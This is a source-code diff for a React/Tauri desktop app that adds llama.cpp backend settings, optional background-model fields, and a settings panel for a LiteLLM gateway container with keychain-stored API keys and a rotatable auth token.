if (mode === "ollama" && !project.ollama_config)
|
||||
patch.ollama_config = DEFAULT_OLLAMA_CONFIG;
|
||||
if (mode === "llama_cpp" && !project.llamacpp_config)
|
||||
patch.llamacpp_config = DEFAULT_LLAMACPP_CONFIG;
|
||||
if (mode === "open_ai_compatible" && !project.openai_compatible_config)
|
||||
patch.openai_compatible_config = DEFAULT_OPENAI_COMPATIBLE_CONFIG;
|
||||
save(patch);
|
||||
@@ -131,7 +179,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
<ConfigGroup title="Model" description="Which provider serves this project's Claude.">
|
||||
<Field
|
||||
label="Backend"
|
||||
hint="Anthropic connects directly via OAuth (run `claude login` in a terminal). Bedrock routes through AWS. Ollama and OpenAI Compatible point at any compatible endpoint."
|
||||
hint="Anthropic connects directly via OAuth (run `claude login` in a terminal). Bedrock routes through AWS. Ollama, llama.cpp and OpenAI Compatible point at any endpoint that implements the Anthropic Messages API."
|
||||
>
|
||||
{(id) => (
|
||||
<select
|
||||
@@ -144,6 +192,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
<option value="anthropic">Anthropic</option>
|
||||
<option value="bedrock">Bedrock</option>
|
||||
<option value="ollama">Ollama</option>
|
||||
<option value="llama_cpp">llama.cpp</option>
|
||||
<option value="open_ai_compatible">OpenAI Compatible</option>
|
||||
</select>
|
||||
)}
|
||||
@@ -365,6 +414,73 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Background model" hint={HAIKU_HINT}>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={ollamaHaikuModelId}
|
||||
onChange={(e) => setOllamaHaikuModelId(e.target.value)}
|
||||
onBlur={() =>
|
||||
saveOllama({ haiku_model_id: ollamaHaikuModelId.trim() || null })
|
||||
}
|
||||
placeholder="(same as the model above)"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{project.backend === "llama_cpp" && (
|
||||
<div className="space-y-4 pt-2 border-t border-[var(--border-color)]">
|
||||
<Field
|
||||
label="Base URL"
|
||||
hint="Your llama-server. It listens on port 8080 by default; use host.docker.internal to reach the host machine."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={llamaCppBaseUrl}
|
||||
onChange={(e) => setLlamaCppBaseUrl(e.target.value)}
|
||||
onBlur={() => saveLlamaCpp({ base_url: llamaCppBaseUrl })}
|
||||
placeholder="http://host.docker.internal:8080"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field
|
||||
label="Model"
|
||||
hint="The model llama-server was started with. llama-server serves one model, so this is mainly what Claude Code reports — but it is also what the model aliases are pinned to."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={llamaCppModelId}
|
||||
onChange={(e) => setLlamaCppModelId(e.target.value)}
|
||||
onBlur={() => saveLlamaCpp({ model_id: llamaCppModelId || null })}
|
||||
placeholder="qwen3.5-coder-30b"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Background model" hint={HAIKU_HINT}>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={llamaCppHaikuModelId}
|
||||
onChange={(e) => setLlamaCppHaikuModelId(e.target.value)}
|
||||
onBlur={() =>
|
||||
saveLlamaCpp({ haiku_model_id: llamaCppHaikuModelId.trim() || null })
|
||||
}
|
||||
placeholder="(same as the model above)"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
)}
|
||||
|
||||
@@ -372,7 +488,7 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
<div className="space-y-4 pt-2 border-t border-[var(--border-color)]">
|
||||
<Field
|
||||
label="Base URL"
|
||||
hint="Any OpenAI API-compatible endpoint — LiteLLM, OpenRouter, vLLM, and so on."
|
||||
hint="A gateway that implements the Anthropic Messages API (POST /v1/messages) — LiteLLM, for example. An endpoint that only speaks OpenAI /v1/chat/completions will not work."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
@@ -413,6 +529,21 @@ export default function ModelSection({ project, save, disabled }: Props) {
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Background model" hint={HAIKU_HINT}>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
value={oaiHaikuModelId}
|
||||
onChange={(e) => setOaiHaikuModelId(e.target.value)}
|
||||
onBlur={() =>
|
||||
saveOpenAi({ haiku_model_id: oaiHaikuModelId.trim() || null })
|
||||
}
|
||||
placeholder="(same as the model above)"
|
||||
disabled={disabled}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
)}
|
||||
</ConfigGroup>
|
||||
|
||||
@@ -0,0 +1,482 @@
|
||||
import { useState, useEffect, useCallback } from "react";
|
||||
import { listen } from "@tauri-apps/api/event";
|
||||
import { useSettings } from "../../hooks/useSettings";
|
||||
import {
|
||||
getGatewayStatus,
|
||||
startGateway,
|
||||
stopGateway,
|
||||
checkGatewayHealth,
|
||||
pullGatewayImage,
|
||||
buildGatewayImage,
|
||||
setGatewayApiKey,
|
||||
clearGatewayApiKey,
|
||||
getGatewayAuthToken,
|
||||
regenerateGatewayAuthToken,
|
||||
} from "../../lib/tauri-commands";
|
||||
import type { GatewayModel, GatewaySettings as GatewaySettingsType, GatewayStatus } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import Field, { SwitchRow, inputClass, monoInputClass } from "../ui/Field";
|
||||
import Modal from "../ui/Modal";
|
||||
import StatusIndicator, { type StatusTone } from "../ui/StatusIndicator";
|
||||
import Toggle from "../ui/Toggle";
|
||||
|
||||
const DEFAULT_GATEWAY: GatewaySettingsType = {
|
||||
enabled: false,
|
||||
port: 4000,
|
||||
provider: "openai",
|
||||
api_base: null,
|
||||
models: [],
|
||||
};
|
||||
|
||||
/**
|
||||
* Settings for the model gateway — the LiteLLM container Triple-C runs so that
|
||||
* Claude Code, which only speaks the Anthropic Messages API, can be driven by
|
||||
* an OpenAI key.
|
||||
*
|
||||
* The provider API key is write-only from here: it goes to the OS keychain and
|
||||
* there is no command that reads it back, so the UI can only ever report
|
||||
* whether one is stored.
|
||||
*/
|
||||
export default function GatewaySettings() {
|
||||
const { appSettings, saveSettings } = useSettings();
|
||||
const gateway = appSettings?.gateway ?? DEFAULT_GATEWAY;
|
||||
|
||||
const [status, setStatus] = useState<GatewayStatus | null>(null);
|
||||
const [healthy, setHealthy] = useState<boolean | null>(null);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const [pulling, setPulling] = useState(false);
|
||||
const [building, setBuilding] = useState(false);
|
||||
const [log, setLog] = useState<string | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
const [provider, setProvider] = useState(gateway.provider);
|
||||
const [port, setPort] = useState(String(gateway.port));
|
||||
const [apiBase, setApiBase] = useState(gateway.api_base ?? "");
|
||||
const [apiKeyDraft, setApiKeyDraft] = useState("");
|
||||
const [savingKey, setSavingKey] = useState(false);
|
||||
|
||||
const [authToken, setAuthToken] = useState<string | null>(null);
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
const [confirmRotate, setConfirmRotate] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
setProvider(gateway.provider);
|
||||
setPort(String(gateway.port));
|
||||
setApiBase(gateway.api_base ?? "");
|
||||
}, [gateway.provider, gateway.port, gateway.api_base]);
|
||||
|
||||
const refreshStatus = useCallback(async () => {
|
||||
try {
|
||||
const next = await getGatewayStatus();
|
||||
setStatus(next);
|
||||
setHealthy(next.running ? await checkGatewayHealth() : null);
|
||||
} catch (e) {
|
||||
console.error("Gateway status failed:", e);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
refreshStatus();
|
||||
}, [refreshStatus]);
|
||||
|
||||
const patch = async (changes: Partial<GatewaySettingsType>) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({ ...appSettings, gateway: { ...gateway, ...changes } });
|
||||
};
|
||||
|
||||
const savePort = async () => {
|
||||
const parsed = parseInt(port, 10);
|
||||
if (isNaN(parsed) || parsed < 1 || parsed > 65535) {
|
||||
setPort(String(gateway.port));
|
||||
return;
|
||||
}
|
||||
await patch({ port: parsed });
|
||||
};
|
||||
|
||||
const setModels = (models: GatewayModel[]) => patch({ models });
|
||||
|
||||
const updateModel = (index: number, changes: Partial<GatewayModel>) =>
|
||||
setModels(gateway.models.map((m, i) => (i === index ? { ...m, ...changes } : m)));
|
||||
|
||||
const run = async (fn: () => Promise<unknown>) => {
|
||||
setLoading(true);
|
||||
setError(null);
|
||||
try {
|
||||
await fn();
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
const withProgress = async (
|
||||
event: string,
|
||||
setBusy: (busy: boolean) => void,
|
||||
fn: () => Promise<void>,
|
||||
) => {
|
||||
setBusy(true);
|
||||
setLog(null);
|
||||
setError(null);
|
||||
const unlisten = await listen<string>(event, (e) => setLog(e.payload));
|
||||
try {
|
||||
await fn();
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
unlisten();
|
||||
}
|
||||
};
|
||||
|
||||
const handleSaveKey = async () => {
|
||||
if (!apiKeyDraft.trim()) return;
|
||||
setSavingKey(true);
|
||||
setError(null);
|
||||
try {
|
||||
await setGatewayApiKey(apiKeyDraft);
|
||||
setApiKeyDraft("");
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
setSavingKey(false);
|
||||
}
|
||||
};
|
||||
|
||||
const revealToken = async () => {
|
||||
try {
|
||||
setAuthToken(await getGatewayAuthToken());
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const rotateToken = async () => {
|
||||
setConfirmRotate(false);
|
||||
try {
|
||||
setAuthToken(await regenerateGatewayAuthToken());
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const copy = async (label: string, value: string) => {
|
||||
await navigator.clipboard.writeText(value);
|
||||
setCopied(label);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
};
|
||||
|
||||
const tone: StatusTone = !status?.image_exists
|
||||
? "off"
|
||||
: status.running
|
||||
? healthy === false
|
||||
? "busy"
|
||||
: "running"
|
||||
: status.container_exists
|
||||
? "stopped"
|
||||
: "off";
|
||||
|
||||
const statusLabel = !status?.image_exists
|
||||
? "No image"
|
||||
: status.running
|
||||
? healthy === false
|
||||
? "Starting…"
|
||||
: `Running on port ${status.port}`
|
||||
: status.container_exists
|
||||
? "Stopped"
|
||||
: "Image ready";
|
||||
|
||||
return (
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Model Gateway</label>
|
||||
<p className="text-xs text-[var(--text-secondary)] mb-3">
|
||||
Runs a pinned LiteLLM proxy in a container. Claude Code only speaks the Anthropic
|
||||
Messages API, so an OpenAI key cannot drive it directly — the gateway serves{" "}
|
||||
<code className="font-mono">/v1/messages</code> and translates each call to your
|
||||
provider. Point a project's <strong>OpenAI Compatible</strong> backend at it.
|
||||
</p>
|
||||
|
||||
<div className="space-y-4">
|
||||
<SwitchRow
|
||||
label="Model gateway"
|
||||
hint="Start the gateway container with Triple-C."
|
||||
control={
|
||||
<Toggle
|
||||
label="Model gateway"
|
||||
checked={gateway.enabled}
|
||||
onChange={(value) => patch({ enabled: value })}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
|
||||
{gateway.enabled && (
|
||||
<>
|
||||
{/* ── Container ─────────────────────────────────────────────── */}
|
||||
<div className="flex items-center gap-3 flex-wrap">
|
||||
<StatusIndicator tone={tone} label={statusLabel} className="text-xs" />
|
||||
{status?.image_exists && (
|
||||
<Button
|
||||
variant={status.running ? "danger" : "primary"}
|
||||
disabled={loading}
|
||||
onClick={() => run(status.running ? stopGateway : startGateway)}
|
||||
>
|
||||
{loading ? "Working…" : status.running ? "Stop" : "Start"}
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
disabled={pulling || building}
|
||||
onClick={() => withProgress("gateway-pull-progress", setPulling, pullGatewayImage)}
|
||||
>
|
||||
{pulling ? "Pulling…" : "Pull Image"}
|
||||
</Button>
|
||||
<Button
|
||||
disabled={pulling || building}
|
||||
onClick={() => withProgress("gateway-build-progress", setBuilding, buildGatewayImage)}
|
||||
>
|
||||
{building ? "Building…" : "Build Locally"}
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{log && (
|
||||
<pre className="text-[10px] text-[var(--text-secondary)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] px-2 py-1 max-h-20 overflow-y-auto whitespace-pre-wrap">
|
||||
{log}
|
||||
</pre>
|
||||
)}
|
||||
|
||||
{error && (
|
||||
<p className="text-xs text-[var(--error)]" role="alert">
|
||||
{error}
|
||||
</p>
|
||||
)}
|
||||
|
||||
{/* ── Provider ──────────────────────────────────────────────── */}
|
||||
<Field
|
||||
label="Provider"
|
||||
hint="LiteLLM provider prefix. OpenAI is the common case; anything LiteLLM supports works (azure, gemini, groq, …)."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="text"
|
||||
value={provider}
|
||||
onChange={(e) => setProvider(e.target.value)}
|
||||
onBlur={() => patch({ provider: provider.trim() || "openai" })}
|
||||
placeholder="openai"
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Provider API key"
|
||||
hint={
|
||||
status?.has_api_key
|
||||
? "A key is stored in your OS keychain. Enter a new one to replace it — it is never shown again."
|
||||
: "Stored in your OS keychain, written only into the gateway container's config. Never shown again once saved."
|
||||
}
|
||||
>
|
||||
{(id) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<input
|
||||
id={id}
|
||||
type="password"
|
||||
autoComplete="off"
|
||||
value={apiKeyDraft}
|
||||
onChange={(e) => setApiKeyDraft(e.target.value)}
|
||||
placeholder={status?.has_api_key ? "•••••••• (stored)" : "sk-…"}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<Button
|
||||
variant="primary"
|
||||
disabled={savingKey || !apiKeyDraft.trim()}
|
||||
onClick={handleSaveKey}
|
||||
>
|
||||
{savingKey ? "Saving…" : "Save"}
|
||||
</Button>
|
||||
{status?.has_api_key && (
|
||||
<Button variant="danger" onClick={() => run(clearGatewayApiKey)}>
|
||||
Clear
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Provider base URL (optional)"
|
||||
hint="Override the provider's endpoint — Azure deployments, self-hosted OpenAI-compatible servers, and so on. Leave blank for the provider default."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="text"
|
||||
value={apiBase}
|
||||
onChange={(e) => setApiBase(e.target.value)}
|
||||
onBlur={() => patch({ api_base: apiBase.trim() || null })}
|
||||
placeholder="https://api.openai.com/v1"
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Host port"
|
||||
hint="Port the gateway is published on. Changing it recreates the container."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="number"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={port}
|
||||
onChange={(e) => setPort(e.target.value)}
|
||||
onBlur={savePort}
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
{/* ── Models ────────────────────────────────────────────────── */}
|
||||
<div>
|
||||
<div className="text-[13px] font-medium text-[var(--text-primary)]">Models</div>
|
||||
<p className="mt-0.5 mb-2 text-xs text-[var(--text-secondary)] leading-snug">
|
||||
Each row becomes one model the gateway serves. <strong>Name</strong> is what a
|
||||
project puts in its model field; <strong>Model id</strong> is the provider's own
|
||||
id. The gateway sends them as{" "}
|
||||
<code className="font-mono">{provider || "openai"}/<model id></code>.
|
||||
</p>
|
||||
|
||||
<div className="space-y-2">
|
||||
{gateway.models.map((model, index) => (
|
||||
<div key={index} className="flex items-center gap-2">
|
||||
<input
|
||||
type="text"
|
||||
aria-label={`Model ${index + 1} name`}
|
||||
value={model.name}
|
||||
onChange={(e) => updateModel(index, { name: e.target.value })}
|
||||
placeholder="gpt-5.1"
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
aria-label={`Model ${index + 1} provider id`}
|
||||
value={model.model_id}
|
||||
onChange={(e) => updateModel(index, { model_id: e.target.value })}
|
||||
placeholder="gpt-5.1"
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<Button
|
||||
variant="ghost"
|
||||
aria-label={`Remove model ${index + 1}`}
|
||||
onClick={() => setModels(gateway.models.filter((_, i) => i !== index))}
|
||||
>
|
||||
Remove
|
||||
</Button>
|
||||
</div>
|
||||
))}
|
||||
<Button
|
||||
onClick={() => setModels([...gateway.models, { name: "", model_id: "" }])}
|
||||
>
|
||||
Add model
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── What a project should use ─────────────────────────────── */}
|
||||
<div className="border border-[var(--border-color)] rounded-[var(--radius-panel)] bg-[var(--bg-secondary)] px-3 py-3 space-y-3">
|
||||
<div>
|
||||
<div className="text-[13px] font-medium text-[var(--text-primary)]">
|
||||
Project settings for this gateway
|
||||
</div>
|
||||
<p className="mt-0.5 text-xs text-[var(--text-secondary)] leading-snug">
|
||||
Set a project's backend to <strong>OpenAI Compatible</strong> and use these
|
||||
values. On native Linux Docker, where{" "}
|
||||
<code className="font-mono">host.docker.internal</code> is not injected into
|
||||
containers, use <code className="font-mono">http://172.17.0.1:{gateway.port}</code>{" "}
|
||||
instead.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<Field label="Base URL">
|
||||
{(id) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<input
|
||||
id={id}
|
||||
readOnly
|
||||
value={status?.base_url ?? `http://host.docker.internal:${gateway.port}`}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<Button
|
||||
onClick={() =>
|
||||
copy(
|
||||
"url",
|
||||
status?.base_url ?? `http://host.docker.internal:${gateway.port}`,
|
||||
)
|
||||
}
|
||||
>
|
||||
{copied === "url" ? "Copied" : "Copy"}
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Auth token"
|
||||
hint="The gateway requires this on every request, which is what stops the published port being an open proxy onto your provider account."
|
||||
>
|
||||
{(id) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<input
|
||||
id={id}
|
||||
readOnly
|
||||
type={authToken ? "text" : "password"}
|
||||
value={authToken ?? "••••••••••••"}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
{authToken ? (
|
||||
<Button onClick={() => copy("token", authToken)}>
|
||||
{copied === "token" ? "Copied" : "Copy"}
|
||||
</Button>
|
||||
) : (
|
||||
<Button onClick={revealToken}>Reveal</Button>
|
||||
)}
|
||||
<Button variant="danger" onClick={() => setConfirmRotate(true)}>
|
||||
Regenerate
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{confirmRotate && (
|
||||
<Modal
|
||||
title="Regenerate gateway auth token?"
|
||||
onClose={() => setConfirmRotate(false)}
|
||||
footer={
|
||||
<div className="flex justify-end gap-2">
|
||||
<Button size="md" onClick={() => setConfirmRotate(false)}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="danger" onClick={rotateToken}>
|
||||
Regenerate
|
||||
</Button>
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<p className="text-[13px] text-[var(--text-secondary)]">
|
||||
Every project still using the current token will stop reaching the gateway until you
|
||||
paste the new one into its model config. The gateway is recreated on its next start.
|
||||
</p>
|
||||
</Modal>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
import { useSettings } from "../../hooks/useSettings";
|
||||
import Tooltip from "../ui/Tooltip";
|
||||
|
||||
type Field = "base_url" | "default_model_id" | "default_haiku_model_id";
|
||||
|
||||
export default function LlamaCppSettings() {
|
||||
const { appSettings, saveSettings } = useSettings();
|
||||
|
||||
const globalLlamaCpp = appSettings?.global_llamacpp ?? {
|
||||
base_url: null,
|
||||
default_model_id: null,
|
||||
default_haiku_model_id: null,
|
||||
};
|
||||
|
||||
const handleChange = async (field: Field, value: string) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({
|
||||
...appSettings,
|
||||
global_llamacpp: { ...globalLlamaCpp, [field]: value || null },
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-2">llama.cpp Configuration</label>
|
||||
<div className="space-y-3 text-sm">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Global defaults for a local or remote <code>llama-server</code>, which serves
|
||||
the Anthropic Messages API directly. Used when a per-project field is blank.
|
||||
Changes here require a container rebuild to take effect.
|
||||
</p>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Base URL<Tooltip text="URL of your llama-server. Used when a per-project llama.cpp base URL is blank. llama-server listens on port 8080 by default." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalLlamaCpp.base_url ?? ""}
|
||||
onChange={(e) => handleChange("base_url", e.target.value)}
|
||||
placeholder="http://host.docker.internal:8080"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Model<Tooltip text="Default model identifier. Used when a per-project llama.cpp model is blank." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalLlamaCpp.default_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_model_id", e.target.value)}
|
||||
placeholder="qwen3.5-coder-30b"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if you serve a second, smaller model." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalLlamaCpp.default_haiku_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
|
||||
placeholder="(same as the model above)"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -7,9 +7,13 @@ export default function OllamaSettings() {
|
||||
const globalOllama = appSettings?.global_ollama ?? {
|
||||
base_url: null,
|
||||
default_model_id: null,
|
||||
default_haiku_model_id: null,
|
||||
};
|
||||
|
||||
const handleChange = async (field: "base_url" | "default_model_id", value: string) => {
|
||||
const handleChange = async (
|
||||
field: "base_url" | "default_model_id" | "default_haiku_model_id",
|
||||
value: string,
|
||||
) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({
|
||||
...appSettings,
|
||||
@@ -47,6 +51,17 @@ export default function OllamaSettings() {
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if you have pulled a second, smaller model." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalOllama.default_haiku_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
|
||||
placeholder="(same as the model above)"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -7,9 +7,13 @@ export default function OpenAiCompatibleSettings() {
|
||||
const globalOai = appSettings?.global_openai_compatible ?? {
|
||||
base_url: null,
|
||||
default_model_id: null,
|
||||
default_haiku_model_id: null,
|
||||
};
|
||||
|
||||
const handleChange = async (field: "base_url" | "default_model_id", value: string) => {
|
||||
const handleChange = async (
|
||||
field: "base_url" | "default_model_id" | "default_haiku_model_id",
|
||||
value: string,
|
||||
) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({
|
||||
...appSettings,
|
||||
@@ -22,8 +26,9 @@ export default function OpenAiCompatibleSettings() {
|
||||
<label className="block text-sm font-medium mb-2">OpenAI Compatible Configuration</label>
|
||||
<div className="space-y-3 text-sm">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Global defaults for any OpenAI-compatible endpoint (LiteLLM, OpenRouter, vLLM, etc.).
|
||||
Used when a per-project field is blank. Changes require a container rebuild.
|
||||
Global defaults for a gateway that implements the Anthropic Messages API
|
||||
(<code>POST /v1/messages</code>) — LiteLLM, for example. Used when a per-project
|
||||
field is blank. Changes require a container rebuild.
|
||||
</p>
|
||||
|
||||
<div>
|
||||
@@ -47,6 +52,17 @@ export default function OpenAiCompatibleSettings() {
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if your gateway also serves a smaller model." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalOai.default_haiku_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
|
||||
placeholder="(same as the model above)"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -2,7 +2,9 @@ import { useState, useEffect } from "react";
|
||||
import DockerSettings from "./DockerSettings";
|
||||
import AwsSettings from "./AwsSettings";
|
||||
import OllamaSettings from "./OllamaSettings";
|
||||
import LlamaCppSettings from "./LlamaCppSettings";
|
||||
import OpenAiCompatibleSettings from "./OpenAiCompatibleSettings";
|
||||
import GatewaySettings from "./GatewaySettings";
|
||||
import { useSettings } from "../../hooks/useSettings";
|
||||
import { useUpdates } from "../../hooks/useUpdates";
|
||||
import ClaudeInstructionsModal from "../projects/ClaudeInstructionsModal";
|
||||
@@ -159,7 +161,11 @@ export default function SettingsPanel() {
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<OllamaSettings />
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<LlamaCppSettings />
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<OpenAiCompatibleSettings />
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<GatewaySettings />
|
||||
</AccordionSection>
|
||||
|
||||
<AccordionSection id="container" title="Container" defaultOpen={false}>
|
||||
|
||||
@@ -10,6 +10,11 @@ import { useAppState } from "../../store/appState";
|
||||
import { awsSsoRefresh, uploadHostFileToTerminal } from "../../lib/tauri-commands";
|
||||
import { getCurrentWebview } from "@tauri-apps/api/webview";
|
||||
import { UrlDetector } from "../../lib/urlDetector";
|
||||
import {
|
||||
RelayRateLimiter,
|
||||
URL_RELAY_OSC,
|
||||
parseUrlRelayOsc,
|
||||
} from "../../lib/urlRelay";
|
||||
import UrlToast from "./UrlToast";
|
||||
import { trimSelection } from "./trimSelection";
|
||||
import TerminalContextMenu from "./TerminalContextMenu";
|
||||
@@ -37,7 +42,13 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
(s) => s.sessions.find((sess) => sess.id === sessionId)?.projectId
|
||||
);
|
||||
|
||||
const [detectedUrl, setDetectedUrl] = useState<string | null>(null);
|
||||
// One toast slot, two producers: the heuristic long-URL detector and the
|
||||
// container's explicit "open this in the host browser" relay (OSC 7777).
|
||||
// Sharing the slot keeps them from stacking on top of each other.
|
||||
const [urlPrompt, setUrlPrompt] = useState<{ url: string; label: string } | null>(
|
||||
null,
|
||||
);
|
||||
const relayLimiterRef = useRef(new RelayRateLimiter());
|
||||
const [imagePasteMsg, setImagePasteMsg] = useState<string | null>(null);
|
||||
const [isAtBottom, setIsAtBottom] = useState(true);
|
||||
const [isAutoFollow, setIsAutoFollow] = useState(true);
|
||||
